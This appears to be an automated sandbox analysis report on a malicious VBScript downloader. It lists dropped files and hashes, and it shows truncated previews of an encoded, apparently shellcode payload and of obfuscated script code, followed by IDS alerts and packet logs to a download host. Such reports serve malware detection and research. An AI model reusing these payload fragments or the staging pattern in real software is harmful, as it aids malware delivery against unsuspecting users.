Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllultnxj:NllU
MD5:	F93358E626551B46E6ED5A0A9D29BD51
SHA1:	9AECA90CCBFD1BEC2649D66DF8EBE64C13BACF03
SHA-256:	0347D1DE5FEA380ADFD61737ECD6068CB69FC466AC9C77F3056275D5FCAFDC0D
SHA-512:	D609B72F20BF726FD14D3F2EE91CCFB2A281FAD6BC88C083BFF7FCD177D2E59613E7E4E086DB73037E2B0B8702007C8F7524259D109AF64942F3E60BFCC49853
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\45-0FIUV

Process:	C:\Windows\SysWOW64\cmdkey.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ddvufo5z.skz.ps1

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_rsrzxlfk.3qw.ps1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xes2drnq.vax.psm1

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_y0brrdti.gro.psm1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Roaming\spgelseshistories.Hov

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	494360
Entropy (8bit):	5.8776690634795985
Encrypted:	false
SSDEEP:	6144:E69gXZ/Utuhrqc0u7CUiKK1NHkrQ9owSIBo4Zuv3UzSDbb2VDXuMxrGHK+mwz86:EbNUtuh7T2U5INmQ9/B1zOn+CqFf6
MD5:	75819AD2782CC2BAC53D0B9983775B66
SHA1:	9A4154E44EF74876B2D5EB006D108CCB109006A7
SHA-256:	94BED04A729D0F20CB480D34FBF0FD570269DF51BD8263B3CA55FA457F007510
SHA-512:	7D02487E8148671E3C49CEF9746EB0AE66240CA7B7D3723CEA8370E0E5465828E653B0CE21EA79EFD39E7731F55B69FBDFBCA89ED7F8B287D28BE4644B3E06F8
Malicious:	false
Preview:	cQGbcQGbu7uLDABxAZvrApKRA1wkBOsCxlFxAZu53LhsKOsCjepxAZuB8Z+wurDrAuy06wJjyYHpQwjWmHEBm3EBm+sC76HrAhRtuh0TMOrrApKY6wKCkesCpRZxAZsxyusCnXTrApxdiRQL6wKAFXEBm9Hi6wLI/HEBm4PBBOsC7+1xAZuB+QXnTQJ8yusCHfnrAh2vi0QkBOsCUArrAiyjicNxAZtxAZuBw5v0twHrAnlVcQGburry+C/rApi46wKoV4HyX3uhtHEBm+sCR8eBwht2pmTrAiHMcQGb6wLm9usC2C/rAjNx6wLFHYsMEOsCIAxxAZuJDBNxAZvrAmsgQnEBm3EBm4H6ADUFAHXVcQGbcQGbiVwkDOsCgZDrAikbge0AAwAA6wKpgnEBm4tUJAhxAZtxAZuLfCQEcQGbcQGbievrAhLjcQGbgcOcAAAA6wIBEHEBm1PrArkFcQGbakBxAZtxAZuJ63EBm+sCtvzHgwABAAAAgF0CcQGb6wLGC4HDAAEAAHEBm+sCDnRTcQGbcQGbievrAoSh6wKv34m7BAEAAHEBm+sCaBuBwwQBAADrAtzucQGbU+sCJLPrAp+rav/rAkiEcQGbg8IFcQGb6wLvwzH26wJmdusCBU8xyesCRLXrAr9VixpxAZvrAiFfQesCy7zrApeTORwKdfJxAZtxAZtG6wJpqOsCYaOAfAr7uHXccQGbcQGbi0QK/OsCbgvrAlBGKfDrAhIr6wKzDP/S6wJFCHEBm7oANQUAcQGbcQGbMcBxAZtxAZuLfCQM6wJge3EBm4E0ByujzWRxAZvrAlXQg8AEcQGb6wLgvjnQdeRxAZvrAsQhifvrAjv5cQGb/9dxAZtxAZsXWyVkK6PNP6JGROEQXDKbk3rcBRWOM5aeXvj+jg0OUWobyOcCZ0bhEFwym34qKN2I3I0PrmFMjalRbXmqSgoqoJRMjWmd2XKvR6td+mSJaSve6kjnIrlpK6aKvCkn

Static File Info

General

File type:	ASCII text, with CRLF line terminators
Entropy (8bit):	5.389092938561215
TrID:	Visual Basic Script (13500/0) 100.00%
File name:	6 654398.vbs
File size:	26'221 bytes
MD5:	2270731a281cd40f18f75b69a308207d
SHA1:	b4d8bc01ca3ef042e7c4839edc21967bd735e1fc
SHA256:	dbe9edac7d02e3a20e96ae4869966673cfa2505094c3ef06ca1250cffd097f5f
SHA512:	fd437fc5145402334761e5470c6f3cac2a5938934f278e7e6500b55b38e6a8ecd714040914b196091f3e452ed2e51bf161e11b24b5c284a1a70df4d00efdadb8
SSDEEP:	384:XrCiOP9v7UpQyrGC0TgSyBamu7fjw7z5E3zn8j1Q:XeDPernxSyBaz7fke3z8j2
TLSH:	CCC23C6548467FE41EF76BB644453130987C04B2C93980E0690CB427F938BEFAE689FB
File Content Preview:	Sub Evulge(Konvojtronbestigelser,Transiteranatoleallo,Filstrenggenman,Shelteunderskabe,Polleesammentrykni)..If Konvojtronbestigelser = cstr(2614147) Then ....Cirkusforestillinge41 = Space(69)....End If....while (Alkydmalingernesb<31)..Alkydmalingernesb =

File Icon


Icon Hash:	68d69b8f86ab9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-22T15:32:15.637893+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.5	49988	199.103.62.205	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 22, 2024 15:31:20.570519924 CEST	49718	443	192.168.2.5	199.103.62.205
Oct 22, 2024 15:31:20.570554972 CEST	443	49718	199.103.62.205	192.168.2.5
Oct 22, 2024 15:31:20.571019888 CEST	49718	443	192.168.2.5	199.103.62.205
Oct 22, 2024 15:31:20.578388929 CEST	49718	443	192.168.2.5	199.103.62.205
Oct 22, 2024 15:31:20.578407049 CEST	443	49718	199.103.62.205	192.168.2.5
Oct 22, 2024 15:31:21.406456947 CEST	443	49718	199.103.62.205	192.168.2.5
Oct 22, 2024 15:31:21.406800032 CEST	49718	443	192.168.2.5	199.103.62.205
Oct 22, 2024 15:31:21.435338020 CEST	49718	443	192.168.2.5	199.103.62.205
Oct 22, 2024 15:31:21.435359955 CEST	443	49718	199.103.62.205	192.168.2.5
Oct 22, 2024 15:31:21.435672998 CEST	443	49718	199.103.62.205	192.168.2.5
Oct 22, 2024 15:31:21.485169888 CEST	49718	443	192.168.2.5	199.103.62.205
Oct 22, 2024 15:31:21.594125986 CEST	49718	443	192.168.2.5	199.103.62.205
Oct 22, 2024 15:31:21.635337114 CEST	443	49718	199.103.62.205	192.168.2.5
Oct 22, 2024 15:31:21.899041891 CEST	443	49718	199.103.62.205	192.168.2.5
Oct 22, 2024 15:31:21.926378965 CEST	443	49718	199.103.62.205	192.168.2.5
Oct 22, 2024 15:31:21.926397085 CEST	443	49718	199.103.62.205	192.168.2.5
Oct 22, 2024 15:31:21.926431894 CEST	443	49718	199.103.62.205	192.168.2.5
Oct 22, 2024 15:31:21.926450014 CEST	443	49718	199.103.62.205	192.168.2.5
Oct 22, 2024 15:31:21.926464081 CEST	443	49718	199.103.62.205	192.168.2.5
Oct 22, 2024 15:31:21.927054882 CEST	49718	443	192.168.2.5	199.103.62.205
Oct 22, 2024 15:31:21.927054882 CEST	49718	443	192.168.2.5	199.103.62.205
Oct 22, 2024 15:31:21.927073956 CEST	443	49718	199.103.62.205	192.168.2.5
Oct 22, 2024 15:31:21.927335024 CEST	49718	443	192.168.2.5	199.103.62.205
Oct 22, 2024 15:31:22.271048069 CEST	443	49718	199.103.62.205	192.168.2.5
Oct 22, 2024 15:31:22.271061897 CEST	443	49718	199.103.62.205	192.168.2.5
Oct 22, 2024 15:31:22.271101952 CEST	443	49718	199.103.62.205	192.168.2.5
Oct 22, 2024 15:31:22.271233082 CEST	49718	443	192.168.2.5	199.103.62.205
Oct 22, 2024 15:31:22.271249056 CEST	443	49718	199.103.62.205	192.168.2.5
Oct 22, 2024 15:31:22.271332979 CEST	49718	443	192.168.2.5	199.103.62.205
Oct 22, 2024 15:31:22.271332979 CEST	49718	443	192.168.2.5	199.103.62.205
Oct 22, 2024 15:31:22.273503065 CEST	443	49718	199.103.62.205	192.168.2.5
Oct 22, 2024 15:31:22.273520947 CEST	443	49718	199.103.62.205	192.168.2.5
Oct 22, 2024 15:31:22.273646116 CEST	49718	443	192.168.2.5	199.103.62.205
Oct 22, 2024 15:31:22.273655891 CEST	443	49718	199.103.62.205	192.168.2.5
Oct 22, 2024 15:31:22.273727894 CEST	49718	443	192.168.2.5	199.103.62.205
Oct 22, 2024 15:31:22.280181885 CEST	443	49718	199.103.62.205	192.168.2.5
Oct 22, 2024 15:31:22.280209064 CEST	443	49718	199.103.62.205	192.168.2.5
Oct 22, 2024 15:31:22.280380011 CEST	49718	443	192.168.2.5	199.103.62.205
Oct 22, 2024 15:31:22.280391932 CEST	443	49718	199.103.62.205	192.168.2.5
Oct 22, 2024 15:31:22.280447960 CEST	49718	443	192.168.2.5	199.103.62.205
Oct 22, 2024 15:31:22.397528887 CEST	443	49718	199.103.62.205	192.168.2.5
Oct 22, 2024 15:31:22.397563934 CEST	443	49718	199.103.62.205	192.168.2.5
Oct 22, 2024 15:31:22.397876024 CEST	49718	443	192.168.2.5	199.103.62.205
Oct 22, 2024 15:31:22.397897005 CEST	443	49718	199.103.62.205	192.168.2.5
Oct 22, 2024 15:31:22.397977114 CEST	49718	443	192.168.2.5	199.103.62.205
Oct 22, 2024 15:31:22.514872074 CEST	443	49718	199.103.62.205	192.168.2.5
Oct 22, 2024 15:31:22.514897108 CEST	443	49718	199.103.62.205	192.168.2.5
Oct 22, 2024 15:31:22.516192913 CEST	49718	443	192.168.2.5	199.103.62.205
Oct 22, 2024 15:31:22.516218901 CEST	443	49718	199.103.62.205	192.168.2.5
Oct 22, 2024 15:31:22.519978046 CEST	49718	443	192.168.2.5	199.103.62.205
Oct 22, 2024 15:31:22.632448912 CEST	443	49718	199.103.62.205	192.168.2.5
Oct 22, 2024 15:31:22.632472992 CEST	443	49718	199.103.62.205	192.168.2.5
Oct 22, 2024 15:31:22.633579016 CEST	49718	443	192.168.2.5	199.103.62.205
Oct 22, 2024 15:31:22.633596897 CEST	443	49718	199.103.62.205	192.168.2.5
Oct 22, 2024 15:31:22.633872032 CEST	49718	443	192.168.2.5	199.103.62.205
Oct 22, 2024 15:31:22.633989096 CEST	443	49718	199.103.62.205	192.168.2.5
Oct 22, 2024 15:31:22.634006023 CEST	443	49718	199.103.62.205	192.168.2.5
Oct 22, 2024 15:31:22.634337902 CEST	49718	443	192.168.2.5	199.103.62.205
Oct 22, 2024 15:31:22.634345055 CEST	443	49718	199.103.62.205	192.168.2.5
Oct 22, 2024 15:31:22.634443998 CEST	49718	443	192.168.2.5	199.103.62.205
Oct 22, 2024 15:31:22.751749039 CEST	443	49718	199.103.62.205	192.168.2.5
Oct 22, 2024 15:31:22.751775026 CEST	443	49718	199.103.62.205	192.168.2.5
Oct 22, 2024 15:31:22.752501011 CEST	49718	443	192.168.2.5	199.103.62.205
Oct 22, 2024 15:31:22.752523899 CEST	443	49718	199.103.62.205	192.168.2.5
Oct 22, 2024 15:31:22.752593994 CEST	49718	443	192.168.2.5	199.103.62.205
Oct 22, 2024 15:31:22.868544102 CEST	443	49718	199.103.62.205	192.168.2.5
Oct 22, 2024 15:31:22.868568897 CEST	443	49718	199.103.62.205	192.168.2.5
Oct 22, 2024 15:31:22.868779898 CEST	49718	443	192.168.2.5	199.103.62.205
Oct 22, 2024 15:31:22.868794918 CEST	443	49718	199.103.62.205	192.168.2.5
Oct 22, 2024 15:31:22.868911028 CEST	49718	443	192.168.2.5	199.103.62.205
Oct 22, 2024 15:31:22.986107111 CEST	443	49718	199.103.62.205	192.168.2.5
Oct 22, 2024 15:31:22.986174107 CEST	443	49718	199.103.62.205	192.168.2.5
Oct 22, 2024 15:31:22.986257076 CEST	49718	443	192.168.2.5	199.103.62.205
Oct 22, 2024 15:31:22.986275911 CEST	443	49718	199.103.62.205	192.168.2.5
Oct 22, 2024 15:31:22.986332893 CEST	49718	443	192.168.2.5	199.103.62.205
Oct 22, 2024 15:31:22.986332893 CEST	49718	443	192.168.2.5	199.103.62.205
Oct 22, 2024 15:31:22.987704039 CEST	443	49718	199.103.62.205	192.168.2.5
Oct 22, 2024 15:31:22.987756968 CEST	443	49718	199.103.62.205	192.168.2.5
Oct 22, 2024 15:31:22.987903118 CEST	49718	443	192.168.2.5	199.103.62.205
Oct 22, 2024 15:31:22.987903118 CEST	49718	443	192.168.2.5	199.103.62.205
Oct 22, 2024 15:31:22.987943888 CEST	443	49718	199.103.62.205	192.168.2.5
Oct 22, 2024 15:31:22.988296032 CEST	49718	443	192.168.2.5	199.103.62.205
Oct 22, 2024 15:31:23.105968952 CEST	443	49718	199.103.62.205	192.168.2.5
Oct 22, 2024 15:31:23.105993032 CEST	443	49718	199.103.62.205	192.168.2.5
Oct 22, 2024 15:31:23.106174946 CEST	49718	443	192.168.2.5	199.103.62.205
Oct 22, 2024 15:31:23.106194019 CEST	443	49718	199.103.62.205	192.168.2.5
Oct 22, 2024 15:31:23.106365919 CEST	49718	443	192.168.2.5	199.103.62.205
Oct 22, 2024 15:31:23.222476959 CEST	443	49718	199.103.62.205	192.168.2.5
Oct 22, 2024 15:31:23.222551107 CEST	443	49718	199.103.62.205	192.168.2.5
Oct 22, 2024 15:31:23.222647905 CEST	49718	443	192.168.2.5	199.103.62.205
Oct 22, 2024 15:31:23.222664118 CEST	443	49718	199.103.62.205	192.168.2.5
Oct 22, 2024 15:31:23.222733021 CEST	49718	443	192.168.2.5	199.103.62.205
Oct 22, 2024 15:31:23.222733021 CEST	49718	443	192.168.2.5	199.103.62.205
Oct 22, 2024 15:31:23.339303970 CEST	443	49718	199.103.62.205	192.168.2.5
Oct 22, 2024 15:31:23.339376926 CEST	443	49718	199.103.62.205	192.168.2.5
Oct 22, 2024 15:31:23.339468002 CEST	49718	443	192.168.2.5	199.103.62.205
Oct 22, 2024 15:31:23.339484930 CEST	443	49718	199.103.62.205	192.168.2.5
Oct 22, 2024 15:31:23.339507103 CEST	49718	443	192.168.2.5	199.103.62.205
Oct 22, 2024 15:31:23.339637995 CEST	49718	443	192.168.2.5	199.103.62.205
Oct 22, 2024 15:31:23.340909958 CEST	443	49718	199.103.62.205	192.168.2.5
Oct 22, 2024 15:31:23.340926886 CEST	443	49718	199.103.62.205	192.168.2.5
Oct 22, 2024 15:31:23.341029882 CEST	49718	443	192.168.2.5	199.103.62.205
Oct 22, 2024 15:31:23.341037989 CEST	443	49718	199.103.62.205	192.168.2.5
Oct 22, 2024 15:31:23.341114998 CEST	49718	443	192.168.2.5	199.103.62.205
Oct 22, 2024 15:31:23.457731962 CEST	443	49718	199.103.62.205	192.168.2.5
Oct 22, 2024 15:31:23.457756996 CEST	443	49718	199.103.62.205	192.168.2.5
Oct 22, 2024 15:31:23.457823992 CEST	49718	443	192.168.2.5	199.103.62.205
Oct 22, 2024 15:31:23.457832098 CEST	443	49718	199.103.62.205	192.168.2.5
Oct 22, 2024 15:31:23.457954884 CEST	49718	443	192.168.2.5	199.103.62.205
Oct 22, 2024 15:31:23.457954884 CEST	49718	443	192.168.2.5	199.103.62.205
Oct 22, 2024 15:31:23.459578991 CEST	443	49718	199.103.62.205	192.168.2.5
Oct 22, 2024 15:31:23.459646940 CEST	443	49718	199.103.62.205	192.168.2.5
Oct 22, 2024 15:31:23.459712982 CEST	49718	443	192.168.2.5	199.103.62.205
Oct 22, 2024 15:31:23.459712982 CEST	49718	443	192.168.2.5	199.103.62.205
Oct 22, 2024 15:31:23.459722042 CEST	443	49718	199.103.62.205	192.168.2.5
Oct 22, 2024 15:31:23.460009098 CEST	49718	443	192.168.2.5	199.103.62.205
Oct 22, 2024 15:31:23.576740980 CEST	443	49718	199.103.62.205	192.168.2.5
Oct 22, 2024 15:31:23.576775074 CEST	443	49718	199.103.62.205	192.168.2.5
Oct 22, 2024 15:31:23.577012062 CEST	49718	443	192.168.2.5	199.103.62.205
Oct 22, 2024 15:31:23.577034950 CEST	443	49718	199.103.62.205	192.168.2.5
Oct 22, 2024 15:31:23.577148914 CEST	49718	443	192.168.2.5	199.103.62.205
Oct 22, 2024 15:31:23.692698002 CEST	443	49718	199.103.62.205	192.168.2.5
Oct 22, 2024 15:31:23.692727089 CEST	443	49718	199.103.62.205	192.168.2.5
Oct 22, 2024 15:31:23.692871094 CEST	49718	443	192.168.2.5	199.103.62.205
Oct 22, 2024 15:31:23.692871094 CEST	49718	443	192.168.2.5	199.103.62.205
Oct 22, 2024 15:31:23.692894936 CEST	443	49718	199.103.62.205	192.168.2.5
Oct 22, 2024 15:31:23.692960978 CEST	49718	443	192.168.2.5	199.103.62.205
Oct 22, 2024 15:31:23.694592953 CEST	443	49718	199.103.62.205	192.168.2.5
Oct 22, 2024 15:31:23.694621086 CEST	443	49718	199.103.62.205	192.168.2.5
Oct 22, 2024 15:31:23.694741011 CEST	49718	443	192.168.2.5	199.103.62.205
Oct 22, 2024 15:31:23.694741011 CEST	49718	443	192.168.2.5	199.103.62.205
Oct 22, 2024 15:31:23.694749117 CEST	443	49718	199.103.62.205	192.168.2.5
Oct 22, 2024 15:31:23.694890976 CEST	49718	443	192.168.2.5	199.103.62.205
Oct 22, 2024 15:31:23.810445070 CEST	443	49718	199.103.62.205	192.168.2.5
Oct 22, 2024 15:31:23.810481071 CEST	443	49718	199.103.62.205	192.168.2.5
Oct 22, 2024 15:31:23.810655117 CEST	49718	443	192.168.2.5	199.103.62.205
Oct 22, 2024 15:31:23.810686111 CEST	443	49718	199.103.62.205	192.168.2.5
Oct 22, 2024 15:31:23.810746908 CEST	49718	443	192.168.2.5	199.103.62.205
Oct 22, 2024 15:31:23.812517881 CEST	443	49718	199.103.62.205	192.168.2.5
Oct 22, 2024 15:31:23.812536001 CEST	443	49718	199.103.62.205	192.168.2.5
Oct 22, 2024 15:31:23.812598944 CEST	49718	443	192.168.2.5	199.103.62.205
Oct 22, 2024 15:31:23.812617064 CEST	443	49718	199.103.62.205	192.168.2.5
Oct 22, 2024 15:31:23.812824965 CEST	49718	443	192.168.2.5	199.103.62.205
Oct 22, 2024 15:31:24.286140919 CEST	443	49718	199.103.62.205	192.168.2.5
Oct 22, 2024 15:31:24.286156893 CEST	443	49718	199.103.62.205	192.168.2.5
Oct 22, 2024 15:31:24.286199093 CEST	443	49718	199.103.62.205	192.168.2.5
Oct 22, 2024 15:31:24.286461115 CEST	49718	443	192.168.2.5	199.103.62.205
Oct 22, 2024 15:31:24.286461115 CEST	49718	443	192.168.2.5	199.103.62.205
Oct 22, 2024 15:31:24.286484957 CEST	443	49718	199.103.62.205	192.168.2.5
Oct 22, 2024 15:31:24.286624908 CEST	443	49718	199.103.62.205	192.168.2.5
Oct 22, 2024 15:31:24.286648035 CEST	443	49718	199.103.62.205	192.168.2.5
Oct 22, 2024 15:31:24.286690950 CEST	49718	443	192.168.2.5	199.103.62.205
Oct 22, 2024 15:31:24.286690950 CEST	49718	443	192.168.2.5	199.103.62.205
Oct 22, 2024 15:31:24.286700010 CEST	443	49718	199.103.62.205	192.168.2.5
Oct 22, 2024 15:31:24.286716938 CEST	49718	443	192.168.2.5	199.103.62.205
Oct 22, 2024 15:31:24.286839008 CEST	49718	443	192.168.2.5	199.103.62.205
Oct 22, 2024 15:31:24.288091898 CEST	443	49718	199.103.62.205	192.168.2.5
Oct 22, 2024 15:31:24.288114071 CEST	443	49718	199.103.62.205	192.168.2.5
Oct 22, 2024 15:31:24.288162947 CEST	49718	443	192.168.2.5	199.103.62.205
Oct 22, 2024 15:31:24.288171053 CEST	443	49718	199.103.62.205	192.168.2.5
Oct 22, 2024 15:31:24.288182020 CEST	443	49718	199.103.62.205	192.168.2.5
Oct 22, 2024 15:31:24.288206100 CEST	443	49718	199.103.62.205	192.168.2.5
Oct 22, 2024 15:31:24.288218975 CEST	49718	443	192.168.2.5	199.103.62.205
Oct 22, 2024 15:31:24.288218975 CEST	49718	443	192.168.2.5	199.103.62.205
Oct 22, 2024 15:31:24.288227081 CEST	443	49718	199.103.62.205	192.168.2.5
Oct 22, 2024 15:31:24.288378954 CEST	49718	443	192.168.2.5	199.103.62.205
Oct 22, 2024 15:31:24.288378954 CEST	49718	443	192.168.2.5	199.103.62.205
Oct 22, 2024 15:31:24.289757013 CEST	443	49718	199.103.62.205	192.168.2.5
Oct 22, 2024 15:31:24.289774895 CEST	443	49718	199.103.62.205	192.168.2.5
Oct 22, 2024 15:31:24.289830923 CEST	49718	443	192.168.2.5	199.103.62.205
Oct 22, 2024 15:31:24.289836884 CEST	443	49718	199.103.62.205	192.168.2.5
Oct 22, 2024 15:31:24.289938927 CEST	49718	443	192.168.2.5	199.103.62.205
Oct 22, 2024 15:31:24.289938927 CEST	49718	443	192.168.2.5	199.103.62.205
Oct 22, 2024 15:31:24.291122913 CEST	443	49718	199.103.62.205	192.168.2.5
Oct 22, 2024 15:31:24.291146994 CEST	443	49718	199.103.62.205	192.168.2.5
Oct 22, 2024 15:31:24.291251898 CEST	49718	443	192.168.2.5	199.103.62.205
Oct 22, 2024 15:31:24.291269064 CEST	443	49718	199.103.62.205	192.168.2.5
Oct 22, 2024 15:31:24.291332960 CEST	49718	443	192.168.2.5	199.103.62.205
Oct 22, 2024 15:31:24.292282104 CEST	443	49718	199.103.62.205	192.168.2.5
Oct 22, 2024 15:31:24.292289972 CEST	443	49718	199.103.62.205	192.168.2.5
Oct 22, 2024 15:31:24.292406082 CEST	49718	443	192.168.2.5	199.103.62.205
Oct 22, 2024 15:31:24.292416096 CEST	443	49718	199.103.62.205	192.168.2.5
Oct 22, 2024 15:31:24.292427063 CEST	443	49718	199.103.62.205	192.168.2.5
Oct 22, 2024 15:31:24.292469025 CEST	49718	443	192.168.2.5	199.103.62.205
Oct 22, 2024 15:31:24.292474985 CEST	443	49718	199.103.62.205	192.168.2.5
Oct 22, 2024 15:31:24.292488098 CEST	443	49718	199.103.62.205	192.168.2.5
Oct 22, 2024 15:31:24.292563915 CEST	49718	443	192.168.2.5	199.103.62.205
Oct 22, 2024 15:31:24.292563915 CEST	49718	443	192.168.2.5	199.103.62.205
Oct 22, 2024 15:31:24.295893908 CEST	49718	443	192.168.2.5	199.103.62.205
Oct 22, 2024 15:32:14.542098999 CEST	49988	443	192.168.2.5	199.103.62.205
Oct 22, 2024 15:32:14.542129040 CEST	443	49988	199.103.62.205	192.168.2.5
Oct 22, 2024 15:32:14.542196035 CEST	49988	443	192.168.2.5	199.103.62.205
Oct 22, 2024 15:32:14.596060038 CEST	49988	443	192.168.2.5	199.103.62.205
Oct 22, 2024 15:32:14.596081972 CEST	443	49988	199.103.62.205	192.168.2.5
Oct 22, 2024 15:32:15.374336958 CEST	443	49988	199.103.62.205	192.168.2.5
Oct 22, 2024 15:32:15.374409914 CEST	49988	443	192.168.2.5	199.103.62.205
Oct 22, 2024 15:32:15.453305960 CEST	49988	443	192.168.2.5	199.103.62.205
Oct 22, 2024 15:32:15.453340054 CEST	443	49988	199.103.62.205	192.168.2.5
Oct 22, 2024 15:32:15.453697920 CEST	443	49988	199.103.62.205	192.168.2.5
Oct 22, 2024 15:32:15.453759909 CEST	49988	443	192.168.2.5	199.103.62.205
Oct 22, 2024 15:32:15.457273960 CEST	49988	443	192.168.2.5	199.103.62.205
Oct 22, 2024 15:32:15.499344110 CEST	443	49988	199.103.62.205	192.168.2.5
Oct 22, 2024 15:32:15.637907028 CEST	443	49988	199.103.62.205	192.168.2.5
Oct 22, 2024 15:32:15.637983084 CEST	49988	443	192.168.2.5	199.103.62.205
Oct 22, 2024 15:32:15.637990952 CEST	443	49988	199.103.62.205	192.168.2.5
Oct 22, 2024 15:32:15.638037920 CEST	49988	443	192.168.2.5	199.103.62.205
Oct 22, 2024 15:32:15.755270958 CEST	443	49988	199.103.62.205	192.168.2.5
Oct 22, 2024 15:32:15.755285978 CEST	443	49988	199.103.62.205	192.168.2.5
Oct 22, 2024 15:32:15.755330086 CEST	443	49988	199.103.62.205	192.168.2.5
Oct 22, 2024 15:32:15.755359888 CEST	49988	443	192.168.2.5	199.103.62.205
Oct 22, 2024 15:32:15.755376101 CEST	443	49988	199.103.62.205	192.168.2.5
Oct 22, 2024 15:32:15.755465031 CEST	49988	443	192.168.2.5	199.103.62.205
Oct 22, 2024 15:32:15.872553110 CEST	443	49988	199.103.62.205	192.168.2.5
Oct 22, 2024 15:32:15.872579098 CEST	443	49988	199.103.62.205	192.168.2.5
Oct 22, 2024 15:32:15.872632980 CEST	49988	443	192.168.2.5	199.103.62.205
Oct 22, 2024 15:32:15.872647047 CEST	443	49988	199.103.62.205	192.168.2.5
Oct 22, 2024 15:32:15.872664928 CEST	49988	443	192.168.2.5	199.103.62.205
Oct 22, 2024 15:32:15.872689009 CEST	49988	443	192.168.2.5	199.103.62.205
Oct 22, 2024 15:32:15.989736080 CEST	443	49988	199.103.62.205	192.168.2.5
Oct 22, 2024 15:32:15.989765882 CEST	443	49988	199.103.62.205	192.168.2.5
Oct 22, 2024 15:32:15.989833117 CEST	49988	443	192.168.2.5	199.103.62.205
Oct 22, 2024 15:32:15.989845991 CEST	443	49988	199.103.62.205	192.168.2.5
Oct 22, 2024 15:32:15.991421938 CEST	49988	443	192.168.2.5	199.103.62.205
Oct 22, 2024 15:32:16.107038975 CEST	443	49988	199.103.62.205	192.168.2.5
Oct 22, 2024 15:32:16.107059956 CEST	443	49988	199.103.62.205	192.168.2.5
Oct 22, 2024 15:32:16.107144117 CEST	49988	443	192.168.2.5	199.103.62.205
